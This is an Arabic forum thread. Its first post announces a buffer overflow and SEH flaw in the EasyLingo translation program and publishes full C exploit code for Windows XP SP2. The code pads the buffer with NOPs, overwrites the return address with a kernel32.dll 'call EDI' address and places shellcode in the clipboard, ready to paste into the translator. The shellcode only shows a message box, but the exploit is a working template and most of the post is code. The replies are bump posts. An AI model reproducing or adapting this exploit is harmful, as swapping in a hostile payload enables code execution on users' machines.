الاتصال بنا



النتائج 1 إلى 3 من 3

الموضوع: ثغرة فيض في المتغير Buffer Overflow و ثغرة معالجة الأخطاء SEH في برنامج EasyLingo

  1. #1
    عضو نشيط جدا
    تاريخ التسجيل
    Mar 2000
    المشاركات
    493

    ثغرة فيض في المتغير Buffer Overflow و ثغرة معالجة الأخطاء SEH في برنامج EasyLingo



    برنامج EasyLingo من اشهر برامج الترجمه ونلاحظ انه استخدم طريقه جديده في الترجمه
    تعتمد على اللمس ؟ إذا أشرت على اي كلمة في الجهاز فإن البرنامج يقوم بترجمتها
    يبدأ بنقلها إلى النافذة ثم يقوم بمعالجتها وإظهار معناها.

    تم إيجاد أكثر من ثغره في هذه العملية
    الأولى ثغرة فيض في المتغير الذي يتم نقل كلمه الترجمه له, لأن البرنامج يعتمد
    على ترجمه الكلمات وأسماء الملفات التي يقل حجمها عن 256 حرف إذا حاولت إدخال
    كلمه أكبر تحدث ثغره فيض ... لاحظ مثالنا:
    سنقوم بكتابة shellcode عبارة عن إظهار مسج تحذيري.
    بعد ان تقوم بترجمه الشل كود وتشغيله سينسخ إلى Clipboard إنسخه إلى address bar وحاول ترجمته
    او قم بنسخه مباشرة في مربع الترجمه. وإضغط على امر الترجمة

    -
    هذا المثال مجرب على WinXP sp2 وستلاحظ اننا سنقوم بإستخدام اكود موجودة
    داخل المكتبة كيرنل kernel32.dll لنقل التحكم إلى shellcode ,,, لتنويع الافكار

    ثغرة الفيض تحدث عند التعليمةالتالية
    كود:
    00613F3D REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS>
    وهذه صورة لإكتشاف ثغرة SEH


    //
    كود الإستغلال:-
    كود:
    #include <stdio.h>
    #include <stdlib.h>
    #include <windows.h>
    
    //شيل كود عبارة عن إظهار مسج تحذيري
    unsigned char shellcode[]=
    "\x90\x90\x6A\x01\x6A\x01\xFF\x72\x1A\xE8\xC7\xE6\xCF\x73\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x53\x74\x61\x72\x74\x20"
    "\x48\x61\x63\x6B\x69\x6E\x67\x2E\x2E\x2E\x20\x62\x79\x20\x4A\x41\x41\x53\x63\x6F\x69\x73\x2E\x63\x6F\x6D\x90\x90\x90\x90\x90\x90";
    
    int main(int argc, char **argv)
    {
    void* clipbuf=NULL;
    unsigned char* addrshellcode=NULL;
    printf("EasyLingo -> LIGDRV.DLL Buffer Overflow & SEH Exploit \n\r");
    printf(" :.. by JAAScois ..:.. Web www.JAAScois.com ..:......\n\r");
    
    clipbuf=GlobalAlloc (GMEM_DDESHARE
    |GMEM_ZEROINIT,264);
    if(!clipbuf){
    GlobalFree(clipbuf);
    printf("!GlobalAlloc \n\r");
    return 1;
    }
    
    addrshellcode=(unsigned char*)GlobalLock(clipbuf);
    if(!addrshellcode){
    printf("!GlobalLock \n\r");
    return 1;
    }
    // nop's ;0x90
    for(int i=0;i<=264;i++){
    addrshellcode[i]=0x90;
    }
    //في هذا االمثال سنستخدم تعليمة خارج البرنامج للإنتقال إلى الشيل كود
    //التعليمة موجودة في ملف الكيرنل
    //0x7C87A0BE: kernel32.dll -> call EDI= shellcode
    DWORD ediaddr;
    ediaddr=0x7C87A0BE;
    memcpy(&addrshellcode[256],&ediaddr,4); //goto 0x7C87A0BE
    memcpy(&addrshellcode[260],&ediaddr,4); // goto 0x7C87A0BE
    
    // copy shellcode// إضافة برنامج إظهار المسج إلى الشيل كود
    memcpy(&addrshellcode[0],shellcode,64);
    GlobalUnlock (clipbuf);
    // نسخ الشيل كود إلى الحافظة
    if(!OpenClipboard(GetDesktopWindow()))
    return 1;
    if(!EmptyClipboard())
    return 1;
    SetClipboardData (CF_TEXT,clipbuf);
    CloseClipboard ();
    GlobalFree(clipbuf);
    printf("ok! now paste shellcode to address bar\n\r");
    return 0;
    }

    -----------------------------------
    الثغرة من إكتشاف: JAAScois





    __________________
    :: وَقُل رَّبِّ زِدْنِي عِلْمًا ::
    عدنا لكم بعد طول غياب دام عامين سالمين غانمين ولله الحمد
    للمراسلة : http://kassab.arabform.com


  2. #2
    عضو نشيط جدا
    تاريخ التسجيل
    Mar 2000
    المشاركات
    493


    up up





    __________________
    :: وَقُل رَّبِّ زِدْنِي عِلْمًا ::
    عدنا لكم بعد طول غياب دام عامين سالمين غانمين ولله الحمد
    للمراسلة : http://kassab.arabform.com

  3. #3
    عضو نشيط جدا
    تاريخ التسجيل
    Mar 2000
    المشاركات
    493


    p up up up up up up up up للافادة





    __________________
    :: وَقُل رَّبِّ زِدْنِي عِلْمًا ::
    عدنا لكم بعد طول غياب دام عامين سالمين غانمين ولله الحمد
    للمراسلة : http://kassab.arabform.com





ضوابط المشاركة

  • لا تستطيع إضافة مواضيع جديدة
  • لا تستطيع الرد على المواضيع
  • لا تستطيع إرفاق ملفات
  • لا تستطيع تعديل مشاركاتك
  •  
0